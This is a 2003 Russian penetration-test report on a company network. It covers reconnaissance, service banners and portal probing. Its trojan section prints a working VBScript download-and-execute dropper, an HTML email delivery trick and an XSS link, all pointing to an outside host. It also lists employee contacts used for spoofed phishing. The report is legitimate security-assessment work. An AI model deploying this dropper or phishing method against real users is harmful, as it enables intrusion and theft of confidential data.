Отчет о проведенной работе по тестированию на возможность осуществления несанкционированного доступа

в корпоративную сеть ОАО «XXX»

с использованием компьютерной сети «Интернет»
22 xxx 2003 год

Исходные данные:

Корпоративная сеть: 141.xx.xx.10
 - 141.xx.xx.31; администраторы сети не знают о проводимом аудите сетевой безопасности; следует избегать деструктивных действий и не совершать действий, которые могут привести к отказу в обслуживании какого-либо сервиса или компьютера внутри исследуемой сети.

Задачи работ:

· проведение информационного обследования Корпоративной Сети Заказчика (как объекта несанкционированного доступа), анализ ее структуры, функций и особенностей, используемых технологий автоматизированной обработки и передачи информации; сканирование ресурсов сети;

· выявление наиболее значимых угроз информационной безопасности и основных путей их реализации;

· имитация возможных действий  третьих лиц и осуществление тестового несанкционированного доступа в Корпоративную Сеть Заказчика из компьютерной сети «Интернет»;

· проверка возможности получения несанкционированного доступа к данным, несанкционированной модификации данных и нарушения работоспособности Корпоративной Сети Заказчика.


1. ПАССИВНЫЙ СБОР ИНФОРМАЦИИ


На первом этапе был осуществлен сбор информации об исследуемом объекте, не вступая в непосредственный контакт с исследуемой сетью, тем самым, не обозначая явного интереса и соблюдая необходимую скрытность.


Первое, что было сделано, это udp-трейс до 141.xx.xx.10:

[root@tinyghost root]# traceroute 141.xx.xx.10

traceroute to 141.xx.xx.10 (141.xx.xx.10), 30 hops max, 38 byte packets

 1  192.xx.xx.1 (192.xx.xx.1)  0.975 ms  0.287 ms  0.253 ms

 2  xx.xx.xx.xx (xx.xx.xx.xx)  0.452 ms  0.405 ms  0.396 ms

 3  xx.ru (80.xx.xx.30)  3.553 ms  3.462 ms  3.166 ms

 4  xxx.ru (xx.xx.xx.20)  3.640 ms  5.832 ms  7.476 ms

 5  xxx.net (202.xx.xx.xx) 15.331 ms !X * 12.071 ms !X


Очевидно, что 202.xx.xx.xx - это адрес внешнего интерфейса исходной сети, подключенной посредством провайдера YYY (крупный российский Интернет-оператор, www.yyy.ru). С помощью nslookup'а был проведен анализ сетевого диапазона «вокруг» адреса 202.xx.xx.xx (с помощью dns-запросов с целью получения non-authoritative responds) и было обнаружено, что диапазон 202.xx.xx.* -- 202.xx.xx.* -- это весьма крупный пул адресов разных корпоративных клиентов, подключенных к провайдеру YYY аналогичным образом.


Далее была предпринята попытка детально выяснить топологические характеристики связи на участке 80.xx.xx.30 (один из собственных роутеров, вплоть до которого находится контролируемая нами сеть) -- 141.xx.xx.10 (первый хост исследуемой сети), но при попытке пропинговать любой адрес из сети 141.xx.xx.10-141.xx.xx.31 или адрес 202.xx.xx.xx были получены такие ответы:

[root@tinyghost root]# ping 202.xx.xx.xx

PING 202.xx.xx.xx (202.xx.xx.xx) 56(84) bytes of data.

From 202.xx.xx.xx icmp_seq=2 Packet filtered


Проанализируем исходный пинг и полученный ответ более подробно:

11:21:32.660676 192.xx.xx.xx > 202.xx.xx.xx: icmp: echo request 

11:21:32.678317 202.xx.xx.xx > 192.xx.xx.xx: icmp: host 202.xx.xx.xx unreachable - admin prohibited filter

Ясно, что либо 202.xx.xx.xx, либо какой-то хост выше уровнем отдаёт сообщения ICMP destination unreachable с типом 03 (смещение 0x0014), что означает 'destination unreachable' и кодом 0d (смещение 0x0015), что должно означать 'admin prohibited filter'. Такие ответы в Интернете встречаются крайне редко. Очевидно, что эти ответы генерирует либо активное сетевое оборудование, которое коммутирует исходную сеть в Интернет, либо специальное программное обеспечение, установленное на роутере исследуемой сети. Далее  требовалось оценить, только ли на адрес 202.xx.xx.xx распространяется такое ограничение (что позволило бы сделать вывод о том, кто реализует эту политику безопасности: провайдер YYY или роутер исследуемой сети) путем пинга аналогичным образом 'соседних' относительно 202.xx.xx.xx адресов. Некоторые адреса (например, 202.xx.xx.xy) отвечали «по уставу», т.е. в соответствии с регламентациями rfc1122 (requirements for internet hosts) и, как и положено, отмечали Source Route в поле IP Options:

[root@tinyghost root]# ping -R 202.xx.xx.xy

PING 202.xx.xx.xy (202.xx.xx.xy) 56(124) bytes of data.

64 bytes from 202.xx.xx.xy: icmp_seq=2 ttl=247 time=28.3 ms

NOP
RR:     192.xx.xx.161

        xx.xx.xx.9

        xx.xx.xx.8

        xx.xx.xx.xx

        xx.xx.xx.2

        xx.xx.xx.xx

        xx.xx.xx.xx

        xx.xx.xx.12

        xx.xx.xx.xx


Некоторые же адреса (например, 202.xx.xx.38, принадлежащий организации «PPP») вели себя аналогично интересующему нас 202.xx.xx.xx, из чего был сделал вывод, что такого рода политика безопасности реализуется непосредственно на маршрутизаторе провайдера «YYY» (т.е. администраторы исходной сети имеют ограниченный аккаунт на роутере провайдера «YYY», откуда и проводят частичную политику безопасности - в виде таких «нетривиальных» ответов).


Однако не совсем ясны были две вещи: среди сотен гейтов диапазона 202.xx.xx-41.*, только лишь два адреса, 202.xx.xx.xx и 202.xx.xx.38 отвечают именно крайне редким сообщением 'admin prohibited filter', в то время как все остальные либо 'ведут себя по уставу', либо отвечают более стандартными и распространёнными методами. Кроме того, смущала нестабильность получаемых сообщений об ошибке (особенно при параллельной попытке загрузить другим трафиком этот интерфейс): задержки между ответами доходили до 3-5 секунд, причём логика этих задержек не была очевидной с первого взгляда. В любом случае, было ясно, что сканировать порты нужно мягко и аккуратно, соблюдая эти 3-5-секундные задержки между запросами, задействовав как можно больше распределённых хостов.


Далее, был опрошен собственный dns реверсивными запросами ('вернуть имя по адресу') относительно каждого из адресов 141.xx.xx.10- 141.xx.xx.31 и получены следующие результаты (non-authoritative):

141.xx.xx.14 - mailhub.xxy.ru
141.xx.xx.17 - post2.xxi.ru

141.xx.xx.19 - mailhub.xxz.ru


Теперь, основываясь на интуиции, было сделано предположение о наличие веб-сайтов: www.xxy.ru, www.xxi.ru и www.xxz.ru (и тех же имён, но без префикса www). Были найдены www.xxy.ru и www.xxi.ru, которые находятся в разных местах в хостинге компании «KKK» и «ППП» соответственно. Эти хосты оказались вне области поставленной задачи, поэтому было решено ограничиться лишь обычным изучением содержимого этих сайтов. Теперь можно сделать первый поверхностный вывод об анализируемой системе.


Налицо наличие так называемой «корпоративной культуры», откуда четко следует соответствующий вывод (который, кстати, затем подтвердился фактами): использование так называемых «решений от Майкрософт» и внедряемых, соответственно, сертифицированными корпорацией Майкрософт специалистами. Количество таких «решений» ограничено и они, в основном, сводятся к следующему:


- электронный документооборот на основе MS Exchange, использование связки программного обеспечения, необходимого для функционирования MS Exchange на уровне корпорации (крупного офиса). Наилучшим образом с MS Exchange'ем интегрируется программа MS Outlook и, надо полагать, именно её используют сотрудники исследуемой компании.


- более-менее прямое следование рекомендациям сертифицированных курсов Microsoft: использование продуктов этой компании везде, где это только возможно. Некоторые (принципиально небезопасные, например IIS или MsSQL) сервисы могут быть заменены альтернативными (движок внутреннего сервера, движок базы данных, локальный dns-сервер и т.д.). 


- возможное наличие политики внутренней и внешней сетевой безопасности на основе предлагаемых решений от Microsoft
.


Затем был опрошен свой dns-сервер на предмет MX-информации ('mail exchange'), доступной non-authoritative:

> set type=MX

> xxy.ru

Server:  ns.zxx.ru

Address:  213.xx.xx.xx

Non-authoritative answer:

xxy.ru    MX preference = 100, mail exchanger = mail.xxy.ru.pxx.ru

xxy.ru    MX preference = 10, mail exchanger = mailhub.xxy.ru

xxy.ru    nameserver = ns.xxy.ru

xxy.ru    nameserver = ns.PPP.net.xxy.ru

xxy.ru    nameserver = ns1.PPP.net.xxy.ru

xxy.ru    nameserver = dns1.zxx.net

xxy    nameserver = dns2.zxx.net

mailhub.xxy.ru    internet address = 141.xx.xx.14

> xxz.ru

Server:  ns.zxx.ru

Address:  213.xx.xx.xx

Non-authoritative answer:

xxz.ru       MX preference = 10, mail exchanger = mailhub.xxz.ru

xxz.ru       nameserver = dns2.zxx.net

xxz.ru       nameserver = dns1.zxx.net

mailhub.xxz.ru       internet address = 141.xx.xx.19

> xxi.ru

Server:  ns.zxx.ru

Address:  213.xx.xx.xx

Non-authoritative answer:

xxi.ru       MX preference = 100, mail exchanger = relay1.sxx.com

xxi.ru       MX preference = 200, mail exchanger = relay2.sxx.com

xxi.ru       MX preference = 10, mail exchanger = post2.xxi.ru

xxi.ru       MX preference = 20, mail exchanger = post.xxi.ru

xxi.ru       nameserver = ns2.gxx.net

xxi.ru       nameserver = ns3.gxx.net

xxi.ru       nameserver = ns.xxi.ru

post2.xxi.ru internet address = 141.xx.xx.17

post.xxi.ru  internet address = 141.xx.xx.20

ns2.gxx.net    internet address = 194.xx.xx.xx

ns3.gxx.net    internet address = 194.xx.xx.xx


Были получены несколько адресов почтовых релеев, с помощью которых можно отправлять письма в домены xxi.ru, xxy.ru и xxz.ru
. Кроме того, был найден  dns-сервер (ns.xxy.ru, 141.xx.xx.12), который, судя по вышеприведённым ответам, должен быть доступен снаружи и отдавать ответы типа authoritative replies. На этом фаза пассивного сбора информации завершена.


2. АКТИВНЫЙ СБОР ИНФОРМАЦИИ


На первом этапе были выяснены следующие доступные сервисы: это как минимум SMTP-сервисы xxz.ru на адресе 141.xx.xx.19, xxy.ru на адресе 141.xx.xx.14 и xxi.ru на адресах 141.xx.xx.17 и 141.xx.xx.21, а также dns-сервер ns.xxy.ru как минимум на 53-м UDP-порту на адресе 141.xx.xx.12.


Для получения полной картины, необходимо было провести тщательное сканирование исходного диапазона на предмет наличия открытых TCP-портов, а также UDP-портов, с которыми могут быть проассоциированы какие-либо сервисы.


Был предпринят ряд попыток просканировать исходный диапазон (TCP и UDP портов с 1 по 4096-й) с десятка различных хостов в Интернет (для маскировки хосты находились в разных подсетях), установив большую задержку (5 секунд между запросами). В связи с этим сканирование заняло достаточно много времени. Сравнение полученных данных дало противоречивые результаты: некоторые порты могли одновременно находиться в состоянии filtered (никаких ответов на TCP SYN-, TCP FIN-, TCP RST- и многие другие провокационные запросы), либо в состоянии closed (был получен ответ о недоступности ресурса). Сравнение нескольких десятков случайно выбранных ответов о несуществующем сервисе показало, что в каждом случае имеет место тот же самый единственный ответ: ICMP destination unreachable - admin prohibited filter! Поэтому был сделал вывод о том, что эту политику безопасности реализует не роутер провайдера «YYY», а непосредственно роутер исследуемой сети. И их топологический «сосед», компания «PPP», скорее всего, лишь использует аналогичное решение. 


Проанализируем факты.  Исследуемый объект является крупной компанией, которая придерживается безопасных решений от Microsoft. Сканированию объектов препятствует роутер  202.xx.xx.xx.  Следовательно, скорее всего на роутере 202.xx.xx.xx может использоваться межсетевой экран (скорее всего это CheckPoint FireWall-1, который часто применяют крупные компании). Данный межсетевой экран (как и любой другой, аналогичный по функционалу) может функционировать одновременно как фильтр входящих и исходящих пакетов, транслятор сетевых адресов в обе стороны (141.xx.xx.10-31 -> 202.xx.xx.xx -> Интернет и, наоборот, Интернет -> 202.xx.xx.xx -> 141.xx.xx.10-31) и простая IDS-система, способная проводить анализ на основе сравнения входящего и исходящего траффика со знакомыми этой системе штампами предполагаемых опасных данных. Достаточно очевидно, что CheckPoint FireWall-1 (либо аналогичная система) находится на 202.xx.xx.xx и осуществляет фильтрацию пакетов, препятствующую сбору информацию методом сканирования портов.


Для CheckPoint FireWall-1 существует в публичном доступе лишь один недеструктивный эксплойт, но его использование в данных топологических условиях невозможно (для успешного срабатывания этого эксплойта необходима возможность спуфинга IP-адресов, чему имеются препятствия на уровне провайдера «YYY»).


Приведем список обнаруженных доступных из Интернет сервисов (о части из них уже было известно и они были перечислены раньше):

141.xx.xx.13:25/tcp
220 postxxz.ru ESMTP Server (Microsoft Exchange Internet Mail Service 5.5.2653.13) ready

HELO Sender

250 OK

QUIT

221 closing connection

141.xx.xx.14:25/tcp

220 hp60m.xxy.ru ESMTP Server (Microsoft Exchange Internet Mail Service 5.5.2653.13) ready

HELO Sender

250 OK

QUIT

221 closing connection

141.xx.xx.14:110/tcp

+OK Сервер Microsoft Exchange POP3 версии 5.5.2653.23  готов

BYE

141.xx.xx.17:25/tcp

220 post2.xxi.ru ESMTP Server (Microsoft Exchange Internet Mail Service 5.5.2655.55) ready

HELO Sender

250 OK

QUIT

221 closing connection

141.xx.xx.17:110/tcp

+OK Сервер Microsoft Exchange POP3 версии 5.5.2653.23  готов

QUIT

141.xx.xx.19:25/tcp

220 xxz.xxz.ru ESMTP Server (Microsoft Exchange Internet Mail Service 5.5.2650.21) ready

HELO Sender

250 OK

QUIT

221 closing connection

141.xx.xx.19:110/tcp

+OK Сервер Microsoft Exchange POP3 версии 5.5.2650.23  готов

EXIT
141.xx.xx.12:53/tcp
141.xx.xx.12:52/udp

Сервисы 141.xx.xx.20:25/tcp и 141.xx.xx.20:110/tcp оказались недоступными. Хотя, судя по данным, почерпнутым из dns-записей, они должны работать.


Анализ данных сервисов показал:


1. SMTP-сервисы MS Exchange 5.5 уязвимы на отказ в обслуживании. Взломщик, обладающий эксплоитом (программой, подключающейся к ресурсу и отправляющей особым образом сформированный запрос), может осуществить DoS атаку сервиса и, если сервер не настроен производить автоперезапуск зависшего сервиса, то сервис не будет отвечать до момента ручного перезапуска. Об этих уязвимостях и о патчах к ним можно прочитать здесь: http://www.securitylab.ru/40832.html,   http://www.securitylab.ru/40831.html, http://www.securitylab.ru/40882.html

2. Сервисы 141.xx.xx.14:25, 141.xx.xx.17:25 и 141.xx.xx.19:25, соответственно их предназначению, принимают почту к доменам xxy.ru, xxi.ru и xxz.ru. Но, кроме этого, любой желающий может отправлять почту с произвольного (даже несуществующего) адреса указанных доменов, не будучи обязанным использовать какой-либо механизм аутентификации! Эта уязвимость позволяет любому желающему отправлять любое сообщение с любого адреса в интересующем домене на любой адрес в этом домене. Следует запретить «обычную» smtp-отправку почты через эти сервисы с адресов, домены которых они обслуживают и ввести любой приемлемый механизм аутентификации, который поддерживает MS Exchange.


Итак, с помощью доступных снаружи сервисов получить доступ к исследуемой сети оказалось невозможным: сервисов слишком мало
 (это объясняется тем, что сеть 141.xx.xx.10-31 судя по всему достаточно молода и её инфраструктура ещё не сложилась), а те, что доступны, не уязвимы публично доступными эксплойтами на получение доступа. Это нормальная ситуация, учитывая тот факт, что сеть 141.xx.xx.10-31 позиционирована к сети Интернет в основном как потребитель, но следует отметить, что если количество сервисов исследуемой сети будет возрастать, то будет возрастать и опасность получения доступа к внутренностям сети этим способом. 

Вывод по завершению данного этапа. 

Функционирующих сервисов, доступных из Интернет, мало и они не уязвимы для существующих на сегодняшний день эксплойтов на получение доступа. Поиск новых неизвестных уязвимостей в установленном ПО на объекте является задачей чрезвычайно трудоемкой (месяцы труда аналитиков с невысокой вероятностью успеха) и неэффективной в данном случае. Поэтому было принято стандартное в данном случае решение, так как заказчику требуется проанализировать возможность осуществления реального взлома сети из Интернет всеми возможными способами. Это решение состояло в том, чтобы на основе собранных данных разработать и внедрить в сеть заказчика специально созданную и адаптированную для данного случая троянскую программу (Часть 4. отчета). В случае настоящего взлома реальный хакер действовал бы именно так.              


3. АНАЛИЗ ОБЪЕКТА portal.xxy.ru

13 числа было обнаружено введение нового сервиса: веб-сайта portal.xxy.ru. На запрос 'OPTIONS / HTTP/1.0' у серверного «движка» был получен следующий ответ:

HTTP/1.1 200 OK

Content-Length: 0

Date: Mon, 20 Oct 2003 09:45:59 GMT

Public: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, CONNECT

Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, CONNECT

Cache-Control: private

Среди прочих доступных функций обнаружена функция CONNECT, которая и была проверена в первую очередь. После попытки сделать коннект ко внешнему ресурсу (чтобы проверить, работает ли движок в качестве прокси): 'CONNECT 80.xx.xx.94:80 HTTP/1.0' была получена в ответ html-страница, в которой сообщалось о том, что такая операция недоступна. После изучения ответа в нем была найдена следующая строчка:

<H2 style="FONT: 8pt/11pt verdana; COLOR: #000000">400 Bad Request - The data is invalid. (13)<BR>Internet Security and Acceleration Server</H2>. 


Следовательно, вопросами безопасности занимается ни что иное как Internet Security and Acceletarion Server, проще говоря, ISA! Далее была изучена главная страница portal.xxy.ru ('GET / HTTP/1.0'). Около надписи "Ваш IP-адрес" было указано "192.168.2.1", и стало совершенно ясно, что 192.168.2.1 - это адрес сервиса ISA, на который приходит траффик извне и который «перекидывает» этот траффик на 141.xx.xx.11, то есть portal.xxy.ru.


Очевидно, что метод CONNECT работает, но лишь «для своих» (для внутренней сети), и такие запросы извне (из Интернет) отфильтровываются сервисом ISA
. 


Далее, был введен заведомо некорректный запрос к веб-сервису, с целью узнать его версию ('PUT / HTTP/1.0'). В результате был получен следующий ответ:

Server: Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_plsql/3.0.9.8.2 mod_ssl/2.8.1 OpenSSL/0.9.5a mod_fastcgi/2.2.10 mod_oprocmgr/1.0 mod_perl/1.25


Среди компонентов веб-сервера есть уязвимый OpenSSL/0.9.5a (!), но доступа к порту 141.xx.xx.11:443 снаружи нет, поэтому использовать эту уязвимость не представляется возможным. Тем не менее, следует учесть тот факт, что этот компонент уязвим и эксплойты к нему широко доступны на хакерских сайтах в Интернете, следует сделать апгрейд этого компонента до самой свежей версии.


Далее внимание привлёк механизм сервлетов, использующихся на веб-сервисе. Был запрошен заранее несуществующий сервлет (http://portal.xxy.ru/servlet/zzz.jsp), чтобы внимательно рассмотреть сообщение об ошибке. Ответ был таким:

Request URI:/servlet/zzz.jsp

Exception:

java.io.FileNotFoundException: g:\inetpub\wwwroot\servlet\zzz.jsp (The system cannot find the path specified)


at java.io.FileInputStream.open(Native Method)


at java.io.FileInputStream.(FileInputStream.java:68)


at oracle.jsp.provider.JspFilesystemResource.fromStream(JspFilesystemResource.java, Compiled Code)


at oracle.jsp.provider.JspFilesystemResource.fromReader(JspFilesystemResource.java, Compiled Code)


at oracle.jsp.app.JspAppLoader.fromReader(JspAppLoader.java:1851)


at oracle.jsp.app.JspAppLoader.reloadPage(JspAppLoader.java:1107)


at oracle.jsp.app.JspAppLoader.loadPage(JspAppLoader.java:1005)


at oracle.jsp.app.JspAppLoader.getPage(JspAppLoader.java:671)


at oracle.jsp.app.JspApplication.dispatchRequest(JspApplication.java:337)


at oracle.jsp.JspServlet.doDispatch(JspServlet.java:259)


at oracle.jsp.JspServlet.internalService(JspServlet.java, Compiled Code)


at oracle.jsp.JspServlet.service(JspServlet.java:148)


at javax.servlet.http.HttpServlet.service(HttpServlet.java, Compiled Code)


at org.apache.jserv.JServConnection.processRequest(JServConnection.java, Compiled Code)


at org.apache.jserv.JServConnection.run(JServConnection.java, Compiled Code)


at java.lang.Thread.run(Thread.java, Compiled Code)


Итак, налицо дефолтная (не проработанная администратором ресурса) обработка этой исключительной ситуации, при которой нам сообщается путь дискового пространства, в котором работает веб-сервис. Очевидно, что раньше на этом месте стояла Internet Information Service (IIS), об этом говорит \inetpub\wwwroot, но администраторы (по каким-то известным им соображениям) отказались от её использования. Для того, чтобы убедиться в том, что работает ISA, был сформирован и отправлен запрос, который обязан фильтроваться этим сервисом (опасное уникодирование):

http://portal.xxy.ru/servlet/%u002e

и получен стандартный ответ:

This page cannot be displayed.

...

500 Internal Server Error - The Uniform Resource Locator (URL) is invalid. The request was not entered correctly. Enter the correct URL and try again. (12005)

Internet Security and Acceleration Server


Теперь предстояло проверить, на самом ли деле работает Apache/1.3.19. Для этого был отправлен такой запрос: 

http://portal.xxy.ru/cgi-bin/zzz.jsp 

и получен ответ такого содержания:

Request URI:/cgi-bin/zzz.jsp

Exception:

java.io.FileNotFoundException: g:\oracle\isuites\apache\apache\cgi-bin\zzz.jsp (The system cannot find the file specified)


Единственная полезная уязвимость (точнее, 'ненормальность') была обнаружена в обработке сервлетовских URL, так называемый CSS (Cross Site Scripting):

http://portal.xxy.ru/servlet/<script>open("http://80.xx.xx.94/getter.html")</script>/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/xz.jsp

Таким образом, можно маскировать деструктивные линки под оригинальные, принадлежащие portal.xxy.ru
.

Рекомендации по повышению уровня защищенности портала.


1. Если в будущем планируется открытие https://portal.xxy.ru для доступа из Интернет, то требуется обязательный апгрейд компонент OpenSSL/0.9.5a последними security-patch'ами;


2. Следует проработать дефолтные ответы на некорректные запросы, которые сообщают ненужную информацию (вроде путей, etc); это поможет и против Cross Site Scripting;

Промежуточный вывод по этому этапу.


Сайт открыт всего несколько дней назад, и контента на нём практически нет. Очевидно, при увеличении количества контента и автоматики, обслуживающей эти контенты (скрипты, сервлеты, активный обмен с серверами баз данных и т.д.), опасность возникновения увеличится многократно. На данном этапе, имеются лишь минимальные  уязвимости, которые не могут привести непосредственно к получению полного доступа к серверу и к сети, расположенной за ним. Однако администраторам стоит соблюдать политику безопасности и открывать новые сервисы только после их тщательного предварительного тестирования

4. ТРОЯНСКАЯ ПРОГРАММА


Коль скоро, с помощью доступных извне сервисов произвести проникновение не удалось (причины были указаны: сервисов слишком мало, имеющиеся сервисы мало разработаны), пришлось прибегнуть к последнему в данной ситуации средству: созданию и рассылке специальной троянской программы пользователям исследуемой сети.


Серьезным затруднением для реализации этого плана являлась реализованная в системе политика безопасности, которая должна воспрепятствовать стандартным (незамысловатым лобовым) атакам. Поэтому было введено предположение о необходимости введения целого ряда условий, накладываемых на работу троянской программы:


1. Прямые соединения с пользовательскими компьютерами (которые, очевидно, имеют локальную сетевую адресацию типа 192.168.2.*) устанавливать невозможно. Это означает, что необходимо создать реверсивную троянскую программу, такую, которая самостоятельно инициирует соединение с неким внешним ресурсом (подконтрольным взломщику), получая от него команды и возвращая ему обратно ответы. Связь должна производиться посредством метода PUT на отправку данных и GET на приём по протоколу HTTP/1.0 - самый простой и надёжный вариант.


2. На случай наличия IDS-системы, которая может отфильтровывать потенциально «опасный» трафик, обмен данными необходимо шифровать, пусть даже самым примитивным образом. Был избран метод BASE64.


3. Очевидно, имеет место некий корпоративный прокси-сервер (известно, что это 141.xx.xx.11, хотя сотрудники могут пользоваться и другими сервисами), с помощью которого компьютеры пользователей совершают соединения с ресурсами Интернет. Следовательно, в троянской программе необходимо реализовать любой известный способ поиска такого прокси-сервера и способа авторизации с ним.


4. Процесс соединения пользователей с Интернет может контролироваться с помощью установки на пользовательские компьютеры особой клиентской программы (представляющей собой, к примеру, враппер библиотеки ws2_32.dll - это вполне в духе «решений от Microsoft»), с помощью которой администратор прокси-сервера может контролировать «юзерспейс» пользователя (то есть, те программы, которые инициируют соединения с ресурсами Интернет) и запрещать соединения недозволенных программ. Кроме того, могут использоваться программы вроде Kaspersky Anti-Hacker, которые жёстко регламентируют, какие программы могут инициировать соединения и к каким портам они могут эти соединения производить.


Следовательно, программа должна обманывать все эти (вполне адекватные) механизмы защиты и «подделываться» под Internet Explorer, якобы совершая вполне легитимные походы на некий внешний веб-сайт в Интернет. Таким образом, программа может (и должна) работать только, если имеется хотя бы одно открытое окно Internet Explorer'а. Для этого необходимо разработать средство поиска открытых окон Internet Explorer'а и внедрения кода в поток одного из этих окон.


5. Необходимо позаботиться о сохранении троянской программы в недрах системы и сделать её живучей в случаях перезагрузки, уничтожения процесса и т.д..


6. Процесс внедрения троянской программы должен быть максимально незаметным. Это значит, что необходимо использовать одну или несколько уязвимостей Internet Explorer'а (и, следовательно, Outlook Express'а, который обрабатывает html-код программой Internet Explorer), чтобы внедрить в компьютер пользователя троянскую программу и заставить Internet Explorer её выполнить.


Было выбрано наиболее надёжное и универсальное средство, которое заключается в особенности одной из многочисленных функций Internet Explorer'а: речь идет о возможности выполнять vbscript-скрипты в локальном пространстве пользователя (в частности, скачивать, записывать на диске пользователя программу и запускать её в пользовательском «юзерспейсе»), если Internet Explorer получает такой объект:

<object data="/path/to/script">


следующим образом:

Content-Type: application/hta


Итак, пользователь, получив в Outlook'е письмо с Content-Type: text/html, содержащий следующий код:

<html>

<object data="http://80.xx.xx.94/getter.html">

</html>


Получал скрипт такого содержания (приведён пример для Internet Explorer'ов версий 5.*):

---------------------------------------------

<script language=vbs>

Dim MinUpdate,savePath,FileName,url,fso,OfflineMsg,RangeFByte,RangeLByte,aaa

MinUpdate = 3

FileName = "wininter.exe"

url = "http://80.xx.xx.94/wininter.htm"

RangeFByte = 0

RangeLByte = 0

OfflineMsg = "System Offline OR remote site inaccessible"

set fso=CreateObject("Scripting.FileSystemObject")

savePath = fso.GetSpecialFolder(2) & "\samdata\" 

if not fso.FolderExists(savePath) then 


fso.CreateFolder(savePath)

End if

DummyFetch

Set shell=CreateObject("WScript.Shell")

shell.run(savePath & FileName)

Function DummyFetch


dim html,fs,f


set fs=CreateObject("Scripting.FileSystemObject")


if not fs.fileexists(savePath & FileName) then



html = BinToText(GetHTMLBin(url), 35000)



WriteFile savePath & FileName, html


end if


if TimeDiff(savePath & FileName) > MinUpdate then



html = BinToText(GetHTMLBin(url), 35000)



WriteFile savePath & FileName, html


end if


html = ReadFile(savePath & FileName)


DummyFetch = html

End Function

Function TimeDiff(file)


dim fs,f,diff


set fs=CreateObject("Scripting.FileSystemObject")


if fs.fileexists(file) then



set f=fs.GetFile(file)



diff = datediff( "n", f.DateLastModified, now())


else



diff = -1


end if


set f=nothing


set fs=nothing


TimeDiff = diff

End Function

Function ReadFile(file)


dim fs,f,data


set fs=CreateObject("Scripting.FileSystemObject")


if fs.fileexists(file) then



set f=fs.OpenTextFile(file,1)



data = f.readall



f.close


else



data = -1


end if


set f=nothing


set fs=nothing


ReadFile = data

End Function

Function FileSize(file)


dim fs,f,size


set fs=CreateObject("Scripting.FileSystemObject")


if fs.fileexists(file) then



set f=fs.GetFile(file)



size = f.size


else



size = -1


end if


set f=nothing


set fs=nothing


FileSize = size

End Function

Sub WriteFile(file, content)


dim fs,f


set fs=CreateObject("Scripting.FileSystemObject")


set f=fs.CreateTextFile(file,true)


f.write(content)


f.close


set f=nothing


set fs=nothing

End Sub

Function BinToText(varBinData, intDataSizeInBytes)


Const adFldLong = &H00000080

    Const adVarChar = 200

    Set objRS = CreateObject("ADODB.Recordset")

    objRS.Fields.Append "txt", adVarChar, intDataSizeInBytes, adFldLong

    objRS.Open

    objRS.AddNew

    objRS.Fields("txt").AppendChunk varBinData

    BinToText = objRS("txt").Value

    objRS.Close

    Set objRS = Nothing

End Function

Function GetHTMLBin(strURL)

Dim objXMLHTTP, strReturn

Set objXMLHTTP = CreateObject("Microsoft.XMLHTTP")

objXMLHTTP.Open "GET", strURL, False

objXMLHTTP.Send Cstr(Rnd())

GetHTMLBin = objXMLHTTP.responseBody

Set objXMLHTTP = Nothing

End Function

</script>

---------------------------------------------


В результате выполнения, у пользователя в домашнем каталоге оказывался файл \samdata\wininter.exe, который сразу же и запускался.


Далее, после завершения разработки троянской программы был начат этап поиска и определения email-адресов, на которые можно отправить троянца. Ниже перечислен список адресов, который удалось обнаружить: 

xxy.ru
------------

1. info@xxy.ru
2. Mxx@xxy.ru -- Петр
, менеджер по подбору персонала

3. yxx@xxy.ru -- Алексей Преображенский.

4. axx@xxy.ru
5. faxx@xxy.ru -- Наталья, Город: Астрахань

6. sxx@xxy.ru
7. Dxx@xxy.ru -- Вячеслав, программист

8. duxx@xxy.ru -- Виктория

9. xxy@xxy.ru
10. reception_co@xxy.ru
11. ofxx@xxy.ru -- Ольга.

12. Chxx@xxy.ru
13. lpxx@xxy.ru
14. abxx@xxy.ru -- Andrey 

15. sdxx@xxy.ru -- Piter (админ)

16. sixx@xxy.ru -- Алекcей (сейчас работаю "специалистом информационно-аналитического управления")

17. abxx@xxy.ru

18. (email не найден) General director, Anton Panaev.

19. prxx@xxy.ru -- Екатерина, менеджер по подбору персонала

xxz.ru
---------

1. ioxz@xxz.ru -- Анна Попова, корпоративный секретарь 

Телефон: +7 (095) xxx xxxx 

2. e-mail: info@xxz.ru -- Нина П., отдел кадров

3. info@xxz.ru
Теперь, воспользовавшись ранее обнаруженной уязвимостью отправлять почту с любого (как существующего, так и выдуманного) адреса в домене xxy.ru и xxz.ru соответственно были разосланы по всем адресам бессмысленные сообщения, содержащие приведённый выше object-код (достаточно было, чтобы пользователи лишь открыли это сообщение). Кроме того, были написаны несколько специальных сообщений в форуме сайта portal.xxy.ru, куда был внедрен аналогичный код и с несколькими ссылками с помощью кроссайт-скриптинга (о котором было рассказано в конце 3-й части) на тот же http://80.xx.xx.94/getter.html


20 числа 2003 года, когда были произведены все вышеуказанные действия (рассылку спама, размещение вирусного кода в форуме), по адресу 80.xx.xx.94 были некоторые проблемы со связью (проводились внерегламентные работы по замене сетевого оборудования), и, в общей сложности, связь была лишь 30-40 минут чистого времени:  поэтому удалось получить полный доступ только одного «клиента»:

User: N/A (Андрей)

Logon domain: N/A

Location: ОАО "XXX" (N/A)

System: Microsoft Windows 98 (Default*

ipconfig

***

Настройка IP для Windows 98

0 Ethernet: плата :


IP-адрес. . . . . . . . . . . . . . : 192.168.2.247


Маска подсети . . . . . . . . . . . : 255.255.255.0


Стандартный шлюз. . . . . . . . . . : 192.168.2.254

***


Итак, все (или почти все) предположения оправдались и задача была выполнена успешно. Был получен полный доступ к компьютеру 192.168.2.247, который совершал соединения с хостом атакующего через 141.xx.xx.11, в котором, как и предполагалось, находился прокси-сервер для сотрудников компании. 

Для предоставления доказательств успешного взлома, были скопированы несколько файлов с диска C:\, это XLS-овские таблицы (приложенные к отчёту), которые содержали конфиденциальную информацию: в частности, зарплаты персонала, включая топ менеджмент; контрактная информация.

Кроме того, в папке C:\WIN98\SYSTEM\ был оставлен файл proof.txt, содержащий следующее:

5. ВЫВОД

Предполагаемая структура корпоративной сети 141.xx.xx.10 - 141.xx.xx.31 показана на следующем рисунке:
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Основные обнаруженные уязвимости системы:

1. SMTP-сервисы MS Exchange 5.5 уязвимы на отказ в обслуживании. Взломщик, обладающий эксплоитом (программой, подключающейся к ресурсу и отправляющей особым образом сформированный запрос), может осуществить DoS атаку сервиса и, если сервер не настроен производить автоперезапуск зависшего сервиса, то сервис не будет отвечать до момента ручного перезапуска. 

